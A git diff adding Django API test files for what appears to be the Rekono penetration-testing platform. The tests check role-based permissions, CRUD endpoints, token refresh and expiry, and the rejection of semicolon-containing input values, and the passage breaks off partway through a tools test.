diff --git a/src/backend/tests/test_parameters.py b/src/backend/tests/test_parameters.py new file mode 100644 index 000000000..66a490aa1 --- /dev/null +++ b/src/backend/tests/test_parameters.py @@ -0,0 +1,149 @@ +from typing import Any + +from parameters.models import InputTechnology, InputVulnerability +from tests.cases import ApiTestCase +from tests.framework import RekonoTest + + +class ParameterTest(RekonoTest): + model = None + valid = [] + invalid = [] + + def __init__(self, methodName: str = "runTest") -> None: + super().__init__(methodName) + if self.valid and self.invalid: + self.cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase( + ["admin2", "auditor2", "reader1", "reader2"], + "post", + 403, + self.valid[0], + ), + ApiTestCase( + ["admin1"], + "post", + 201, + self.valid[0], + expected={"id": 1, **self.valid[0]}, + ), + ApiTestCase(["admin1", "auditor1"], "post", 400, self.valid[0]), + ApiTestCase(["admin2", "auditor2", "reader2"], "get", 200, expected=[]), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[{"id": 1, **self.valid[0]}], + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={"id": 1, **self.valid[0]}, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "get", + 404, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["auditor1"], + "post", + 201, + self.valid[1], + expected={"id": 2, **self.valid[1]}, + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={"id": 2, **self.valid[1]}, + endpoint="{endpoint}2/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "get", + 404, + endpoint="{endpoint}2/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[{"id": 2, **self.valid[1]}, {"id": 1, **self.valid[0]}], + ), + ApiTestCase(["admin2", "auditor2", "reader2"], "get", 200, expected=[]), + ApiTestCase( + ["reader1", "reader2"], "delete", 403, endpoint="{endpoint}1/" + ), + ApiTestCase( + ["admin2", "auditor2"], "delete", 404, endpoint="{endpoint}2/" + ), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}1/"), + ApiTestCase(["auditor1"], "delete", 204, endpoint="{endpoint}2/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}2/", + ), + ] + self.cases.extend( + [ + ApiTestCase(["admin1", "auditor1"], "post", 400, i) + for i in self.invalid + ] + ) + + def setUp(self) -> None: + super().setUp() + self._setup_target() + + def _get_object(self) -> Any: + if self.model and self.valid: + return self.model.objects.create(**{**self.valid[0], "target": self.target}) + + +class InputTechnologyTest(ParameterTest): + model = InputTechnology + endpoint = "/api/parameters/technologies/" + expected_str = f"10.10.10.10 - WordPress - 1.0.0" + valid = [ + {"target": 1, "name": "WordPress", "version": "1.0.0"}, + {"target": 1, "name": "Joomla", "version": "1.0.0"}, + ] + invalid = [ + {"target": 1, "name": "Word;Press", "version": "1.0.0"}, + {"target": 1, "name": "WordPress", "version": "1.0;0"}, + ] + + +class InputVulnerabilityTest(ParameterTest): + model = InputVulnerability + endpoint = "/api/parameters/vulnerabilities/" + expected_str = f"10.10.10.10 - CVE-2023-1111" + valid = [ + {"target": 1, "cve": "CVE-2023-1111"}, + {"target": 1, "cve": "CVE-2023-1112"}, + ] + invalid = [{"target": 1, "cve": "anything"}] diff --git a/src/backend/tests/test_processes.py b/src/backend/tests/test_processes.py new file mode 100644 index 000000000..69afb264c --- /dev/null +++ b/src/backend/tests/test_processes.py @@ -0,0 +1,271 @@ +from typing import Any + +from processes.models import Process, Step +from tests.cases import ApiTestCase +from tests.framework import RekonoTest + +first_process_name = "All tools" + +process1 = {"name": "test1", "description": "test", "tags": ["test"]} +new_process1 = {"name": "new test1", "description": "test", "tags": ["test"]} +process2 = {"name": "test2", "description": "test", "tags": ["newtest"]} +new_process2 = {"name": "test2", "description": "test", "tags": ["newtest"]} +invalid_process1 = {"name": "invalid ; test", "description": "test", "tags": ["test"]} +invalid_process2 = {"name": "test", "description": "invalid ; test", "tags": ["test"]} + + +class ProcessTest(RekonoTest): + endpoint = "/api/processes/" + expected_str = first_process_name + cases = [ + ApiTestCase(["reader1", "reader2"], "get", 403), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 1, + "name": first_process_name, + "owner": None, + "liked": False, + "likes": 0, + }, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], "post", 400, invalid_process1 + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], "post", 400, invalid_process2 + ), + ApiTestCase( + ["admin1"], + "post", + 201, + process1, + { + "id": 8, + **process1, + "owner": {"id": 1, "username": "admin1"}, + "liked": False, + "likes": 0, + }, + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], "post", 400, process1 + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 8, + **process1, + "owner": {"id": 1, "username": "admin1"}, + "liked": False, + "likes": 0, + }, + endpoint="{endpoint}8/", + ), + ApiTestCase(["reader1", "reader2"], "get", 403, endpoint="{endpoint}8/"), + ApiTestCase( + ["auditor1"], + "post", + 201, + process2, + { + "id": 9, + **process2, + "owner": {"id": 3, "username": "auditor1"}, + "liked": False, + "likes": 0, + }, + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], "post", 400, process2 + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 9, + **process2, + "owner": {"id": 3, "username": "auditor1"}, + "liked": False, + "likes": 0, + }, + endpoint="{endpoint}9/", + ), + ApiTestCase(["reader1", "reader2"], "get", 403, endpoint="{endpoint}9/"), + ApiTestCase( + ["admin1", "admin2"], + "put", + 200, + new_process1, + { + "id": 8, + **new_process1, + "owner": {"id": 1, "username": "admin1"}, + "liked": False, + "likes": 0, + }, + endpoint="{endpoint}8/", + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "put", + 403, + new_process1, + endpoint="{endpoint}8/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1"], + "put", + 200, + new_process2, + { + "id": 9, + **new_process2, + "owner": {"id": 3, "username": "auditor1"}, + "liked": False, + "likes": 0, + }, + endpoint="{endpoint}9/", + ), + ApiTestCase( + ["auditor2", "reader1", "reader2"], + "put", + 403, + new_process2, + endpoint="{endpoint}9/", + ), + ApiTestCase(["reader1", "reader2"], "post", 403, endpoint="{endpoint}8/like/"), + ApiTestCase( + ["reader1", "reader2"], "post", 403, endpoint="{endpoint}9/dislike/" + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "post", + 204, + endpoint="{endpoint}8/like/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 8, + **new_process1, + "owner": {"id": 1, "username": "admin1"}, + "liked": True, + "likes": 4, + }, + endpoint="{endpoint}8/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "post", + 204, + endpoint="{endpoint}8/dislike/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 8, + **new_process1, + "owner": {"id": 1, "username": "admin1"}, + "liked": False, + "likes": 0, + }, + endpoint="{endpoint}8/", + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "delete", + 403, + endpoint="{endpoint}8/", + ), + ApiTestCase( + ["auditor2", "reader1", "reader2"], "delete", 403, endpoint="{endpoint}9/" + ), + ApiTestCase(["admin2"], "delete", 204, endpoint="{endpoint}8/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 404, + endpoint="{endpoint}8/", + ), + ApiTestCase(["reader1", "reader2"], "get", 403, endpoint="{endpoint}9/"), + ApiTestCase(["auditor1"], "delete", 204, endpoint="{endpoint}9/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 404, + endpoint="{endpoint}9/", + ), + ApiTestCase(["reader1", "reader2"], "get", 403, endpoint="{endpoint}9/"), + ] + + def _get_object(self) -> Any: + return Process.objects.first() + + +step1 = {"process_id": 8, "configuration_id": 1} +expected_step1 = { + "process": {"id": step1["process_id"]}, + "configuration": {"id": step1["configuration_id"]}, +} + + +class StepTest(RekonoTest): + endpoint = "/api/steps/" + expected_str = f"{first_process_name} - theHarvester - All available sources" + cases = [ + ApiTestCase(["reader1", "reader2"], "get", 403), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 1, + "process": {"id": 1}, + "configuration": {"id": 19}, + }, + endpoint="{endpoint}1/", + ), + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "post", 403, step1), + ApiTestCase(["admin1"], "post", 201, step1, {"id": 73, **expected_step1}), + ApiTestCase(["admin2"], "post", 400, step1), + ApiTestCase(["reader1", "reader2"], "get", 403, endpoint="{endpoint}73/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={"id": 73, **expected_step1}, + endpoint="{endpoint}73/", + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "delete", + 403, + endpoint="{endpoint}73/", + ), + ApiTestCase(["admin2"], "delete", 204, endpoint="{endpoint}73/"), + ApiTestCase(["admin1"], "delete", 404, endpoint="{endpoint}73/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 404, + endpoint="{endpoint}73/", + ), + ] + + def setUp(self) -> None: + super().setUp() + self.process = Process.objects.create(name="test", description="test") + + def _get_object(self) -> Any: + return Step.objects.first() diff --git a/src/backend/tests/test_projects.py b/src/backend/tests/test_projects.py new file mode 100644 index 000000000..7522bfd14 --- /dev/null +++ b/src/backend/tests/test_projects.py @@ -0,0 +1,159 @@ +from projects.models import Project +from tests.cases import ApiTestCase +from tests.framework import RekonoTest + +project1 = {"name": "test1", "description": "test1", "tags": ["test"]} +new_project1 = {"name": "new test1", "description": "test1", "tags": ["test"]} +project2 = {"name": "test2", "description": "test2", "tags": ["test"]} +invalid_project = { + "name": "invalid name;", + "description": "test1", + "tags": ["test"], +} + + +class ProjectTest(RekonoTest): + endpoint = "/api/projects/" + expected_str = project1.get("name") + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], "post", 403, project1 + ), + ApiTestCase(["admin1", "admin2"], "post", 400, invalid_project), + ApiTestCase(["admin1"], "post", 201, project1, {"id": 1, **project1}), + ApiTestCase(["admin1"], "get", 200, expected=[{"id": 1, **project1}]), + ApiTestCase( + ["admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase( + ["admin1"], + "get", + 200, + expected={"id": 1, **project1}, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}1/", + ), + ApiTestCase(["admin2"], "post", 400, project1), + ApiTestCase( + ["admin2"], + "post", + 404, + {"user": 3}, + endpoint="{endpoint}1/members/", + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "post", + 403, + {"user": 3}, + endpoint="{endpoint}1/members/", + ), + ApiTestCase( + ["admin1"], "post", 201, {"user": 3}, endpoint="{endpoint}1/members/" + ), + ApiTestCase( + ["auditor1"], + "get", + 200, + expected={"id": 1, **project1}, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}1/", + ), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}1/members/3/"), + ApiTestCase( + ["admin1"], "post", 201, {"user": 5}, endpoint="{endpoint}1/members/" + ), + ApiTestCase( + ["admin2", "auditor1", "auditor2", "reader2"], + "get", + 404, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "reader1"], + "get", + 200, + expected={"id": 1, **project1}, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1"], "post", 404, {"user": 100}, endpoint="{endpoint}1/members/" + ), + ApiTestCase(["admin1"], "delete", 400, endpoint="{endpoint}1/members/1/"), + ApiTestCase( + ["admin2"], + "put", + 404, + new_project1, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "put", + 403, + new_project1, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1"], + "put", + 200, + new_project1, + {"id": 1, **new_project1}, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "reader1"], + "get", + 200, + expected={"id": 1, **new_project1}, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin2"], + "delete", + 404, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "delete", + 403, + endpoint="{endpoint}1/", + ), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}1/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ] + + def _get_object(self) -> Project: + return Project.objects.create(**project1) diff --git a/src/backend/tests/test_security.py b/src/backend/tests/test_security.py new file mode 100644 index 000000000..ffe1c8e38 --- /dev/null +++ b/src/backend/tests/test_security.py @@ -0,0 +1,124 @@ +import time +from datetime import datetime, timedelta +from typing import Any, Dict + +from django.utils import timezone +from rest_framework.test import APIClient +from tests.framework import RekonoTest + + +class SecurityTest(RekonoTest): + refresh = "/api/security/refresh-token/" + logout = "/api/security/logout/" + api_tokens = "/api/api-tokens/" + + def test_refresh_and_logout(self) -> None: + # Login as admin1 + response = self._get_api_client().post( + self.login, + data={"username": self.admin1.username, "password": self.admin1.username}, + ) + self.assertEqual(200, response.status_code) + first_authentication = self._get_content(response.content) + authenticated_client = self._get_api_client(first_authentication["access"]) + + # Get admin1's profile + response = authenticated_client.get(self.profile) + self.assertEqual(200, response.status_code) + content = self._get_content(response.content) + self.assertEqual(self.admin1.id, content.get("id")) + self.assertEqual(self.admin1.username, content.get("username")) + + # Try to refresh tokens using an invalid refresh token + response = authenticated_client.post( + self.refresh, data={"refresh": "invalid refresh token"} + ) + self.assertEqual(401, response.status_code) + + # Refresh tokens + response = authenticated_client.post( + self.refresh, data={"refresh": first_authentication["refresh"]} + ) + self.assertEqual(200, response.status_code) + second_authentication = self._get_content(response.content) + self.assertNotEqual( + first_authentication["access"], second_authentication["access"] + ) + self.assertNotEqual( + first_authentication["refresh"], second_authentication["refresh"] + ) + authenticated_client = self._get_api_client(second_authentication["access"]) + + # Get admin1's profile using the new access token + response = authenticated_client.get(self.profile) + self.assertEqual(200, response.status_code) + content = self._get_content(response.content) + self.assertEqual(self.admin1.id, content.get("id")) + self.assertEqual(self.admin1.username, content.get("username")) + + # Logout + response = authenticated_client.post( + self.logout, {"refresh": second_authentication["refresh"]} + ) + self.assertEqual(200, response.status_code) + + # Try to refresh tokens after logout + response = authenticated_client.post( + self.refresh, data={"refresh": second_authentication["refresh"]} + ) + self.assertEqual(401, response.status_code) + + def test_api_authentication(self) -> None: + # Login as admin1 + response = self._get_api_client().post( + self.login, + data={"username": self.admin1.username, "password": self.admin1.username}, + ) + self.assertEqual(200, response.status_code) + access_client = self._get_api_client( + self._get_content(response.content)["access"] + ) + + # Create API token + response = access_client.post( + self.api_tokens, + data={ + "name": "test1", + "expiration": (timezone.now() + timedelta(seconds=3)).isoformat(), + }, + ) + self.assertEqual(201, response.status_code) + content = self._get_content(response.content) + api_client = self._get_api_client(token=content["key"]) + time.sleep(3) + + # Try to get admin1's profile using an expired token + response = api_client.get(self.profile) + self.assertEqual(401, response.status_code) + + # Create other API token + response = access_client.post( + self.api_tokens, + data={ + "name": "test2", + "expiration": (datetime.now() + timedelta(days=1)).isoformat() + "Z", + }, + ) + self.assertEqual(201, response.status_code) + api_token_content = self._get_content(response.content) + api_client = self._get_api_client(token=api_token_content["key"]) + + # Get admin1's profile + response = api_client.get(self.profile) + self.assertEqual(200, response.status_code) + content = self._get_content(response.content) + self.assertEqual(self.admin1.id, content.get("id")) + self.assertEqual(self.admin1.username, content.get("username")) + + # Remove API token + response = api_client.delete(f"{self.api_tokens}{api_token_content['id']}/") + self.assertEqual(204, response.status_code) + + # Try to get admin1's profile using the removed API token + response = api_client.get(self.profile) + self.assertEqual(401, response.status_code) diff --git a/src/backend/tests/test_settings.py b/src/backend/tests/test_settings.py new file mode 100644 index 000000000..7a6629f73 --- /dev/null +++ b/src/backend/tests/test_settings.py @@ -0,0 +1,75 @@ +from typing import Any + +from settings.models import Settings +from tests.cases import ApiTestCase +from tests.framework import RekonoTest + +settings = {"max_uploaded_file_mb": 512} +new_settings = {"max_uploaded_file_mb": 1024} +invalid_settings_1 = {"max_uploaded_file_mb": 1} +invalid_settings_2 = {"max_uploaded_file_mb": 4096} + + +class SettingsTest(RekonoTest): + endpoint = "/api/settings/" + expected_str = "Settings" + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[{"id": 1, **settings}], + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected={"id": 1, **settings}, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "put", + 403, + new_settings, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2"], + "put", + 400, + invalid_settings_1, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2"], + "put", + 400, + invalid_settings_2, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2"], + "put", + 200, + new_settings, + expected={"id": 1, **new_settings}, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[{"id": 1, **new_settings}], + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected={"id": 1, **new_settings}, + endpoint="{endpoint}1/", + ), + ] + + def _get_object(self) -> Any: + return Settings.objects.first() diff --git a/src/backend/tests/test_target_blacklist.py b/src/backend/tests/test_target_blacklist.py new file mode 100644 index 000000000..8096923c5 --- /dev/null +++ b/src/backend/tests/test_target_blacklist.py @@ -0,0 +1,101 @@ +from typing import Any + +from target_blacklist.models import TargetBlacklist +from tests.cases import ApiTestCase +from tests.framework import RekonoTest + +default_blacklist_1 = {"id": 1, "default": True, "target": "127.0.0.1"} +target_blacklist = {"target": "*.rekono.com"} +new_target_blacklist = {"target": "*.new.rekono.com"} +invalid_blacklist = {"target": "*.rekono;com"} + + +class TargetBlacklistTest(RekonoTest): + endpoint = "/api/target-blacklist/" + expected_str = default_blacklist_1["target"] + cases = [ + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "get", + 403, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected=default_blacklist_1, + endpoint="{endpoint}1/", + ), + ApiTestCase(["admin1", "admin2"], "post", 400, data=invalid_blacklist), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "post", + 403, + data=target_blacklist, + ), + ApiTestCase( + ["admin1"], + "post", + 201, + data=target_blacklist, + expected={"id": 14, "default": False, **target_blacklist}, + ), + ApiTestCase(["admin2"], "post", 400, data=target_blacklist), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected={"id": 14, "default": False, **target_blacklist}, + endpoint="{endpoint}14/", + ), + ApiTestCase( + ["admin1", "admin2"], + "put", + 404, + data=new_target_blacklist, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2"], + "put", + 200, + data=new_target_blacklist, + expected={"id": 14, "default": False, **new_target_blacklist}, + endpoint="{endpoint}14/", + ), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected={"id": 14, "default": False, **new_target_blacklist}, + endpoint="{endpoint}14/", + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "delete", + 403, + endpoint="{endpoint}1/", + ), + ApiTestCase(["admin1", "admin2"], "delete", 404, endpoint="{endpoint}1/"), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "delete", + 403, + endpoint="{endpoint}14/", + ), + ApiTestCase(["admin2"], "delete", 204, endpoint="{endpoint}14/"), + ApiTestCase(["admin1"], "delete", 404, endpoint="{endpoint}14/"), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected=default_blacklist_1, + endpoint="{endpoint}1/", + ), + ApiTestCase(["admin1", "admin2"], "get", 404, endpoint="{endpoint}14/"), + ] + + def _get_object(self) -> Any: + return TargetBlacklist.objects.first() diff --git a/src/backend/tests/test_target_ports.py b/src/backend/tests/test_target_ports.py new file mode 100644 index 000000000..2e8db81cd --- /dev/null +++ b/src/backend/tests/test_target_ports.py @@ -0,0 +1,148 @@ +from typing import Any + +from authentications.enums import AuthenticationType +from target_ports.models import TargetPort +from tests.cases import ApiTestCase +from tests.framework import RekonoTest + +target_port1 = {"target": 1, "port": 80, "path": "/webapp/"} +target_port2 = {"target": 1, "port": 22} +authentication = { + "name": "admin", + "secret": "admin", + "type": AuthenticationType.BASIC, + "target_port": 2, +} +invalid_target_port1 = {"target": 1, "port": 99999999999, "path": "/webapp/"} +invalid_target_port2 = {"target": 1, "port": 443, "path": "/webapp;"} + + +class TargetPortTest(RekonoTest): + endpoint = "/api/target-ports/" + expected_str = "10.10.10.10 - 80" + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase( + ["admin2", "auditor2", "reader1", "reader2"], "post", 403, target_port1 + ), + ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_target_port1), + ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_target_port2), + ApiTestCase( + ["admin1"], + "post", + 201, + target_port1, + expected={"id": 1, "authentication": None, **target_port1}, + ), + ApiTestCase(["admin1", "auditor1"], "post", 400, target_port1), + ApiTestCase(["admin2", "auditor2", "reader2"], "get", 200, expected=[]), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[{"id": 1, "authentication": None, **target_port1}], + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={"id": 1, "authentication": None, **target_port1}, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], "get", 404, endpoint="{endpoint}1/" + ), + ApiTestCase( + ["auditor1"], + "post", + 201, + target_port2, + expected={ + "id": 2, + "authentication": None, + **target_port2, + }, + ), + ApiTestCase( + ["auditor1"], + "post", + 201, + authentication, + expected={ + "id": 1, + **authentication, + "secret": "*" * len(authentication["secret"]), + }, + endpoint="/api/authentications/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={ + "id": 2, + "authentication": { + "id": 1, + **authentication, + "secret": "*" * len(authentication["secret"]), + }, + **target_port2, + }, + endpoint="{endpoint}2/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], "get", 404, endpoint="{endpoint}2/" + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 2, + "authentication": { + "id": 1, + **authentication, + "secret": "*" * len(authentication["secret"]), + }, + **target_port2, + }, + {"id": 1, "authentication": None, **target_port1}, + ], + ), + ApiTestCase(["admin2", "auditor2", "reader2"], "get", 200, expected=[]), + ApiTestCase(["reader1", "reader2"], "delete", 403, endpoint="{endpoint}1/"), + ApiTestCase(["admin2", "auditor2"], "delete", 404, endpoint="{endpoint}2/"), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}1/"), + ApiTestCase(["auditor1"], "delete", 204, endpoint="{endpoint}2/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}2/", + ), + ] + + def setUp(self) -> None: + super().setUp() + self._setup_target() + + def _get_object(self) -> Any: + return TargetPort(target=self.target, port=80) diff --git a/src/backend/tests/test_targets.py b/src/backend/tests/test_targets.py new file mode 100644 index 000000000..60cf8863e --- /dev/null +++ b/src/backend/tests/test_targets.py @@ -0,0 +1,114 @@ +from targets.enums import TargetType +from targets.models import Target +from tests.cases import ApiTestCase +from tests.framework import RekonoTest + +target1 = {"project": 1, "target": "10.10.10.10"} +target2 = {"project": 1, "target": "scanme.nmap.org"} +target3 = {"project": 1, "target": "10.10.10.1-24"} +target4 = {"project": 1, "target": "10.10.10.0/24"} +target5 = {"project": 1, "target": "8.8.8.8"} +invalid_target = {"project": 1, "target": "domain-not-found"} + + +class TargetTest(RekonoTest): + endpoint = "/api/targets/" + expected_str = target1.get("target") + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase(["admin2", "auditor2", "reader1", "reader2"], "post", 403, target1), + ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_target), + ApiTestCase( + ["admin1"], + "post", + 201, + target1, + {"id": 1, "type": TargetType.PRIVATE_IP, **target1}, + ), + ApiTestCase( + ["auditor1"], + "post", + 201, + target2, + {"id": 2, "type": TargetType.DOMAIN, **target2}, + ), + ApiTestCase( + ["auditor1"], + "post", + 201, + target3, + {"id": 3, "type": TargetType.IP_RANGE, **target3}, + ), + ApiTestCase( + ["admin1"], + "post", + 201, + target4, + {"id": 4, "type": TargetType.NETWORK, **target4}, + ), + ApiTestCase( + ["auditor1"], + "post", + 201, + target5, + {"id": 5, "type": TargetType.PUBLIC_IP, **target5}, + ), + ApiTestCase(["admin1", "auditor1"], "post", 400, target1), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + {"id": 5, "type": TargetType.PUBLIC_IP, **target5}, + {"id": 4, "type": TargetType.NETWORK, **target4}, + {"id": 3, "type": TargetType.IP_RANGE, **target3}, + {"id": 2, "type": TargetType.DOMAIN, **target2}, + {"id": 1, "type": TargetType.PRIVATE_IP, **target1}, + ], + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={"id": 2, "type": TargetType.DOMAIN, **target2}, + endpoint="{endpoint}2/", + ), + ApiTestCase(["admin2", "auditor2", "reader2"], "get", 200, expected=[]), + ApiTestCase( + ["admin2", "auditor2", "reader2"], "get", 404, endpoint="{endpoint}1/" + ), + ApiTestCase(["reader1", "reader2"], "delete", 403, endpoint="{endpoint}1/"), + ApiTestCase(["admin2", "auditor2"], "delete", 404, endpoint="{endpoint}1/"), + ApiTestCase(["auditor1"], "delete", 204, endpoint="{endpoint}1/"), + ApiTestCase(["admin1"], "delete", 404, endpoint="{endpoint}1/"), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}2/"), + ApiTestCase(["auditor1"], "delete", 204, endpoint="{endpoint}3/"), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}4/"), + ApiTestCase(["auditor1"], "delete", 204, endpoint="{endpoint}5/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}1/", + ), + ] + + def setUp(self) -> None: + super().setUp() + self._setup_project() + + def _get_object(self) -> Target: + return Target.objects.create( + **{**target1, "project": self.project, "type": TargetType.PRIVATE_IP} + ) diff --git a/src/backend/tests/test_tools.py b/src/backend/tests/test_tools.py new file mode 100644 index 000000000..672e61a50 --- /dev/null +++ b/src/backend/tests/test_tools.py @@ -0,0 +1,112 @@ +from typing import Any + +from tests.cases import ApiTestCase +from tests.framework import RekonoTest +from tools.models import Configuration, Tool + +nmap = "Nmap" +the_harvester = "theHarvester" + + +class ToolTest(RekonoTest): + endpoint = "/api/tools/" + expected_str = nmap + cases = [ + ApiTestCase(["reader1", "reader2"], "get", 403, endpoint="{endpoint}1/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 1, + "name": nmap, + "command": nmap.lower(), + "likes": 0, + "liked": False, + }, + endpoint="{endpoint}1/", + ), + ApiTestCase(["reader1", "reader2"], "post", 403, endpoint="{endpoint}1/like/"), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "post", + 204, + endpoint="{endpoint}1/like/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "get", + 200, + expected={ + "id": 1, + "name": nmap, + "command": nmap.lower(), + "likes": 4, + "liked": True, + }, + endpoint="{endpoint}1/", + ), + ApiTestCase( + 